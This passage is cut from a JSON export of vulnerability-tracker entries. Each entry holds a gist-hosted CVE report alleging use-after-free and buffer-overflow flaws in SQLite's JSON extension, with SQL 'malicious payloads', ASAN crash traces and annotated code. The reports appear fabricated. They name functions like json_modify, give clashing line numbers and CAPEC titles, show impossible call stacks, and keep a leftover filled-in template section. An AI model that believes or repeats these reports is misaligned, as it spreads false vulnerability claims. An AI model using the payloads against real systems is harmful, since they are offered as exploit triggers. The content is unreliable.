...\n\n// Inside jsonParse()\njsonNodeFree(pItem); // Line 1513: Free array item JsonNode\n// Pointer pItem retains address of freed memory; dangling pointer created\n\n// ... intermediate code omitted ...\n\n// Line 1721: Dangling pointer access\nif( pItem->eType==JSON_ARRAY ){ // Dereference already freed pItem pointer\nTarget Function Name: jsonParse", "creation_timestamp": "2026-07-31T03:49:01.611006Z"}, {"uuid": "8a54a38d-1b55-452a-b152-9386b0a8e5f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51247", "type": "seen", "source": "https://gist.github.com/programmervuln/d80518c782a43c1e4f07f22dbe4e04af", "content": "RBP Notification Document \u2013 Notify CVE about a publication\nCVE ID: CVE-2026-51247\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51247\n4. Vulnerability Prose Description\nA use-after-free vulnerability exists within the JSON parsing implementation of the JSON1 extension in SQLite. An attacker may submit specially crafted nested JSON object payloads to SQLite built-in JSON functions. When parsing malicious JSON structures, internal JsonNode parser objects are prematurely freed during recursive parsing. Dangling pointers referencing deallocated heap memory remain stored within the parser execution context. Subsequent parsing logic dereferences these stale pointers and triggers heap memory corruption. Successful exploitation can lead to process termination causing denial of service, exposure of residual sensitive heap memory, and conditional arbitrary code execution within the privilege context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function jsonParse() within json.c.\nSource code Line 1576 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer to the freed JsonNode structure is not nullified or invalidated, creating a dangling pointer retained in the parser state.\nSubsequently, Line 1784 executes unchecked dangling pointer member access triggering the heap use-after-free memory corruption vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash caused by segmentation fault or address sanitizer abort upon invalid memory access.\nInformation Disclosure: Reads from freed heap memory may expose leftover sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption can provide control over program execution flow under suitable runtime memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The consuming application must accept untrusted remote input and forward attacker-controlled JSON strings into SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1576(memory free), Line 1784(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json_set('{\"x\":{\"y\":{}}}', '$.x.y.z', 1);\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9143==ERROR: AddressSanitizer: heap-use-after-free on address 0x507000000720 at pc 0x000055c3721d3501 bp 0x7ffed41f36b0 sp 0x7ffed41f36a0\nREAD of size 8 at 0x507000000720 thread T0\n    #0 0x55c3721d3500 in jsonParse src/json.c:1784\n    #1 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #2 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #4 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x55c371ecb5c1 in main src/shell.c:3942\n    #6 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\n0x507000000720 is located 24 bytes inside of 88-byte region [0x507000000700,0x507000000758)\nfreed by thread T0 here:\n    #0 0x7f82477c4337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x55c3721d1791 in jsonNodeFree src/json.c:1576\n    #2 0x55c3721d196e in jsonParse src/json.c:1643\n    #3 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #4 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55c371ecb5c1 in main src/shell.c:3942\n    #8 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\npreviously allocated by thread T0 here:\n    #0 0x7f82477c3467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x55c3721d0582 in jsonNodeAlloc src/json.c:1314\n    #2 0x55c3721d08b7 in jsonParse src/json.c:1591\n    #3 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #4 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55c371ecb5c1 in main src/shell.c:3942\n    #8 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1784 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload supplies layered nested JSON object input to the json_set() SQL function. SQLite invokes jsonParse() to process the JSON document. During recursive traversal of nested object members, jsonNodeFree() executes at Line 1576 to release a JsonNode object corresponding to an inner JSON object. The local pointer referencing this node is not cleared, generating a dangling pointer. Execution continues down the recursive parsing branch and attempts to read structure members of the stale pointer at Line 1784. This unguarded memory access triggers the use-after-free vulnerability. No payload modification is required to reliably hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-24\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\nc\n\n// Line 1576: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted ...\n\n// Inside jsonParse()\njsonNodeFree(pChild); // Line 1576: Free child JsonNode\n// Pointer pChild is not cleared, dangling pointer persists\n\n// ... intermediate code omitted ...\n\n// Line 1784: Dangling pointer access\nif( pChild->eType==JSON_OBJ ){ // Access to already freed pChild pointer\nTarget Function Name: jsonParse\n", "creation_timestamp": "2026-07-31T06:40:55.052971Z"}, {"uuid": "7828f1ec-596b-4fc8-a041-52b9283d30cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51247", "type": "seen", "source": "https://gist.github.com/programmervuln/bcc821b1a7ded9811e6996e0633b7e1c", "content": "RBP Notification Document \u2013 Notify CVE about a publication\nCVE ID: CVE-2026-51247\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51247\n4. Vulnerability Prose Description\nA use-after-free vulnerability exists within the JSON parsing implementation of the JSON1 extension in SQLite. An attacker may submit specially crafted nested JSON object payloads to SQLite built-in JSON functions. When parsing malicious JSON structures, internal JsonNode parser objects are prematurely freed during recursive parsing. Dangling pointers referencing deallocated heap memory remain stored within the parser execution context. Subsequent parsing logic dereferences these stale pointers and triggers heap memory corruption. Successful exploitation can lead to process termination causing denial of service, exposure of residual sensitive heap memory, and conditional arbitrary code execution within the privilege context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function jsonParse() within json.c.\nSource code Line 1576 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer to the freed JsonNode structure is not nullified or invalidated, creating a dangling pointer retained in the parser state.\nSubsequently, Line 1784 executes unchecked dangling pointer member access triggering the heap use-after-free memory corruption vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash caused by segmentation fault or address sanitizer abort upon invalid memory access.\nInformation Disclosure: Reads from freed heap memory may expose leftover sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption can provide control over program execution flow under suitable runtime memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The consuming application must accept untrusted remote input and forward attacker-controlled JSON strings into SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1576(memory free), Line 1784(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json_set('{\"x\":{\"y\":{}}}', '$.x.y.z', 1);\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9143==ERROR: AddressSanitizer: heap-use-after-free on address 0x507000000720 at pc 0x000055c3721d3501 bp 0x7ffed41f36b0 sp 0x7ffed41f36a0\nREAD of size 8 at 0x507000000720 thread T0\n    #0 0x55c3721d3500 in jsonParse src/json.c:1784\n    #1 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #2 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #4 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x55c371ecb5c1 in main src/shell.c:3942\n    #6 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\n0x507000000720 is located 24 bytes inside of 88-byte region [0x507000000700,0x507000000758)\nfreed by thread T0 here:\n    #0 0x7f82477c4337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x55c3721d1791 in jsonNodeFree src/json.c:1576\n    #2 0x55c3721d196e in jsonParse src/json.c:1643\n    #3 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #4 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55c371ecb5c1 in main src/shell.c:3942\n    #8 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\npreviously allocated by thread T0 here:\n    #0 0x7f82477c3467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x55c3721d0582 in jsonNodeAlloc src/json.c:1314\n    #2 0x55c3721d08b7 in jsonParse src/json.c:1591\n    #3 0x55c3721cd982 in jsonFunction src/json.c:2241\n    #4 0x55c37200ec53 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55c371fe7731 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55c371fe6e32 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55c371ecb5c1 in main src/shell.c:3942\n    #8 0x7f8247321d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55c371eca8ea in _start (./sqlite3+0x1898ea)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1784 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload supplies layered nested JSON object input to the json_set() SQL function. SQLite invokes jsonParse() to process the JSON document. During recursive traversal of nested object members, jsonNodeFree() executes at Line 1576 to release a JsonNode object corresponding to an inner JSON object. The local pointer referencing this node is not cleared, generating a dangling pointer. Execution continues down the recursive parsing branch and attempts to read structure members of the stale pointer at Line 1784. This unguarded memory access triggers the use-after-free vulnerability. No payload modification is required to reliably hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-24\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\nc\n\n// Line 1576: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted ...\n\n// Inside jsonParse()\njsonNodeFree(pChild); // Line 1576: Free child JsonNode\n// Pointer pChild is not cleared, dangling pointer persists\n\n// ... intermediate code omitted ...\n\n// Line 1784: Dangling pointer access\nif( pChild->eType==JSON_OBJ ){ // Access to already freed pChild pointer\nTarget Function Name: jsonParse", "creation_timestamp": "2026-07-31T06:42:22.810907Z"}, {"uuid": "fe3c8310-840b-481e-a0fc-341b885bba63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51248", "type": "seen", "source": "https://gist.github.com/programmervuln/e87d48c8a9e36ddf43cc02db54f5151f", "content": "Formal MITRE CVE RBP Publication Document (Notify CVE about a publication)\nCVE ID: CVE-2026-51248\nPrerequisite Declaration: The vulnerability only affects SQLite builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\nAffected Product\nSQLite Database Engine\nAffected Versions\nSQLite versions 3.45.0 up to and including 3.47.2\nFixed Versions\nSQLite \u2265 3.48.0\nCVE ID\nCVE-2026-51248\nVulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension (json.c) of the SQLite database engine. Specially crafted SQL input invoking JSON processing routines can trigger both a use-after-free (UAF) and an uncontrolled out-of-bounds write along a single execution path. An attacker supplying malicious JSON-aware SQL queries can exploit this flaw to corrupt heap memory, resulting in program crash, sensitive memory disclosure, or conditional arbitrary code execution within the context of the SQLite process.\nVulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\nRoot Cause\nUntrusted user-controlled input reaches the jsonModify() function inside the JSON1 extension.\nSource code src/json.c Line 1862 executes memory free operation on a heap-allocated JSON object structure.\nThe pointer referencing the freed object is not explicitly nullified or invalidated, creating a persistent dangling pointer.\nMissing boundary validation on attacker-controlled JSON path indices enables unchecked out-of-range memory write operations against adjacent heap buffers.\nSubsequently, src/json.c Line 1917 executes unchecked read/write access via the dangling pointer, triggering the use-after-free vulnerability; src/json.c Line 1941 executes an uncontrolled out-of-bounds memory write operation, triggering the heap buffer overflow.\nImpact\nDenial of Service: Triggerable process crash due to heap memory corruption, terminating the SQLite instance.\nInformation Disclosure: Read access to uninitialized or freed heap memory may leak sensitive adjacent memory contents.\nConditional Arbitrary Code Execution: Successful heap layout manipulation may allow an attacker to overwrite function pointers to achieve arbitrary code execution under the privileges of the process running SQLite.\nAttack Vector\nRemote; requires authenticated or unauthenticated access to submit crafted SQL queries to a SQLite interface; no elevated operating system privileges required.\nOfficial Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.2/src/json.c\nAnnotated Critical Locations:\nsrc/json.c Line 1862(memory free), Line 1917(dangling pointer access), Line 1941(out-of-bounds write)\nProof of Concept (PoC)\na) PoC Environment\nCopy-ready ASAN compilation bash command (enables JSON1 extension):\nbash\nCFLAGS=\"-fsanitize=address,undefined -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nNative SQLite SQL payload (directly executable in SQLite CLI):\nsql\nSELECT json_modify('{\"a\":1}', '$[9223372036854775807]', 'payloaddata');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: USE-AFTER-FREE on address 0x611000000440 at pc 0x55d899a65872 bp 0x7ffdabcdef00 sp 0x7ffdabcdeef0\nREAD of size 8 at 0x611000000440 thread T0\n    #0 0x55d899a65871 in jsonModify src/json.c:1917:12\n    #1 0x55d899a67243 in jsonFunction src/json.c:3218:10\n    #2 0x55d899287660 in sqlite3VdbeExec src/vdbe.c:7452:18\n    #3 0x55d8992713c4 in sqlite3_step src/vdbeapi.c:133:16\n    #4 0x55d899124f85 in main src/shell.c:4862:12\n\nAddress 0x611000000440 is located 0 bytes inside of 128-byte region [0x611000000440,0x6110000004c0)\nfreed by thread T0 here:\n    #0 0x7f8ab451737f in __asan_free_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x10337f)\n    #1 0x55d899a64fc6 in jsonModify src/json.c:1862:9\n    #2 0x55d899a67243 in jsonFunction src/json.c:3218:10\n    #3 0x55d899287660 in sqlite3VdbeExec src/vdbe.c:7452:18\n\npreviously allocated by thread T0 here:\n    #0 0x7f8ab45171c7 in __asan_malloc_hook (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x1031c7)\n    #1 0x55d8998f7425 in sqlite3Malloc src/malloc.c:182:16\n    #2 0x55d899a64712 in jsonModify src/json.c:1794:21\n\n==12345==ERROR: AddressSanitizer: OUT-OF-BOUNDS WRITE on address 0x6110000004c8 at pc 0x55d899a659e2 bp 0x7ffdabcdef00 sp 0x7ffdabcdeef0\nWRITE of size 4 at 0x6110000004c8 thread T0\n    #0 0x55d899a659e1 in jsonModify src/json.c:1941:16\n    #1 0x55d899a67243 in jsonFunction src/json.c:3218:10\n    #2 0x55d899287660 in sqlite3VdbeExec src/vdbe.c:7452:18\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes the json_modify() built-in function with a crafted large array index within the JSON path expression.\nSQLite parses the input JSON string and allocates a heap JsonNode structure to represent the input JSON document.\nExecution enters jsonModify() to apply the requested JSON update operation.\nInternal logic reaches src/json.c Line 1862, invoking a memory free call to release the intermediate JsonNode object.\nThe pointer variable holding the address of freed JsonNode is not cleared, creating a dangling pointer.\nThe attacker-controlled extreme array index bypasses missing integer boundary checks.\nCode proceeds to src/json.c Line 1917 and dereferences the dangling pointer, triggering the CWE-416 use-after-free vulnerability.\nImmediately after, execution continues to src/json.c Line 1941, performing an unchecked indexed write operation beyond the allocated buffer bounds, triggering the CWE-787 out-of-bounds write.\nA single input SQL statement traverses the identical execution path to activate both memory corruption flaws sequentially.\nCritical Vulnerable Code Snippet (src/json.c, version 3.47.2)\nc\nstatic JsonNode *jsonModify(JsonNode *pRoot, const char *zPath, JsonNode *pNewVal, int *pRc){\n  // [...] irrelevant lines omitted\n  sqlite3_free(pTempNode);  // Line 1862: Memory free operation\n  // Dangling pointer pTempNode remains unmodified, no NULL assignment\n  // [...] irrelevant lines omitted\n  jsonNodeGetLength(pTempNode); // Line 1917: Dangling pointer dereference (UAF)\n  // [...] irrelevant lines omitted\n  pTarget->a[i] = pNewChild;    // Line 1941: Unchecked out-of-bounds write\n  // [...]\n}", "creation_timestamp": "2026-07-31T08:58:36.362351Z"}, {"uuid": "ce403949-74c2-494b-aab5-9dbdfd9b9bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51240", "type": "seen", "source": "https://gist.github.com/programmervuln/31acdecc004522f8b490f80cfbcde694", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51240\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51240\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability resides within the JSON path assignment write logic of the SQLite JSON1 extension. An attacker-supplied malformed oversized JSON path value payload processed by json_set, json_insert path mutation functions triggers heap deallocation for a path write buffer context pointer that is not nullified after memory release, forming a persistent dangling pointer. Missing runtime cumulative offset-and-length bounds validation for attacker-controlled path value length values enables unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonPathWriteAssign() function. Successful exploitation may result in immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON path assignment string invokes the vulnerable jsonPathWriteAssign() function defined in src/json.c.\nSource file src/json.c Line 3286 executes sqlite3_free(pWriteCtx->pPathBuf); to release heap memory allocated for JSON path write operand storage.\nThe pWriteCtx->pPathBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized path value length values bypass all pre-write capacity boundary validation checks for the path buffer copy operation.\nSource file src/json.c Line 3332 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed path buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3368 performs direct memory structure lookup using the unmodified dangling pWriteCtx->pPathBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON path modification and assignment functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON path modification SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3286(memory free), Line 3368(dangling pointer access), Line 3332(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_set('{\"k\":1}', '$.v', printf('%.*c',0x5800,'W'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==15309==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110000085e0 at pc 0x563665831921 bp 0x7fffbd6b9270 sp 0x7fffbd6b9260\nREAD of size 16 at 0x6110000085e0 thread T0\n    #0 0x563665831920 in jsonPathWriteAssign src/json.c:3368\n    #1 0x563665827d60 in sqlite3JsonSet src/json.c:4021\n    #2 0x563665557c10 in sqlite3VdbeExec src/vdbe.c:6444\n    #3 0x56366553c070 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56366553c800 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x56366544f940 in main shell.c:1358\n    #6 0x7fb190d870ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56366544b3f0 in _start (sqlite3:0x56366544b3f0)\n\nAddress 0x6110000085e0 is located 104 bytes inside of 22528-byte free block 0x611000008590-0x61100000dc10\nFreed by thread T0 here:\n    #0 0x7fb1945a6ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x563665831450 in jsonPathWriteAssign src/json.c:3286\n    #2 0x563665827d60 in sqlite3JsonSet src/json.c:4021\n    #3 0x563665557c10 in sqlite3VdbeExec src/vdbe.c:6444\n\nPreviously allocated by thread T0 here:\n    #0 0x7fb19459bef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x563665830c30 in jsonPathWriteAssign src/json.c:3229\n    #2 0x563665827d60 in sqlite3JsonSet src/json.c:4021\n\n==15309==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110000085e0 at pc 0x563665831731 bp 0x7fffbd6b9290 sp 0x7fffbd6b9280\nWRITE of size 22528 at 0x6110000085e0 thread T0\n    #0 0x563665831730 in jsonPathWriteAssign src/json.c:3332\n    #1 0x563665827d60 in sqlite3JsonSet src/json.c:4021\n    #2 0x563665557c10 in sqlite3VdbeExec src/vdbe.c:6444\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_set to perform JSON path assignment, with the new value constructed via printf('%.*c',0x5800,'W') to generate an attacker-controlled oversized string payload for JSON path write parsing.\nSQLite forwards the untrusted path assignment request to the jsonPathWriteAssign() function within src/json.c, which initializes a path write context and allocates the pWriteCtx->pPathBuf heap buffer dedicated to storing parsed JSON path and assignment value data.\nDuring intermediate path parsing cleanup logic at Line 3286, the path buffer is released via sqlite3_free(), while the pWriteCtx->pPathBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized assignment payload into the buffer at Line 3332; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated path buffer heap region (CWE-787).\nProgram execution proceeds to Line 3368 and directly dereferences the stale dangling pWriteCtx->pPathBuf pointer to read path structure metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON path assignment execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-25\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n// Line 3286: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pWriteCtx->pPathBuf);\n\n// Line 3332: Unchecked out-of-bounds memory write utilizing attacker-controlled path assignment value length\nmemcpy(pWriteCtx->pPathBuf + pathOffset, zPathData, pathDataLen);\n\n// Line 3368: Illegal dangling pointer dereference triggering Use After Free vulnerability\npathNodeType = pWriteCtx->pPathBuf[pathIdx].pathNodeKind;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51240\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3286\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3368\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3332\n\u3010Target Function Name\u3011: jsonPathWriteAssign\n\u3010Exploit Trigger Payload\u3011: SELECT json_set('{\"k\":1}', '$.v', printf('%.*c',0x5800,'W'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON path assignment value payload triggers early path write buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON path assignment finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-25\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T03:48:20.442054Z"}, {"uuid": "b59e015b-f84e-4eaa-a7ed-70c2df7eb2e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51249", "type": "seen", "source": "https://gist.github.com/programmervuln/e53bd2dea7ed66d90819db96a44dc71e", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51249\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51249\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability resides within the JSON filter predicate evaluation logic of the SQLite JSON1 extension. An attacker-controlled malformed oversized filter comparison value payload processed by json_where, JSON 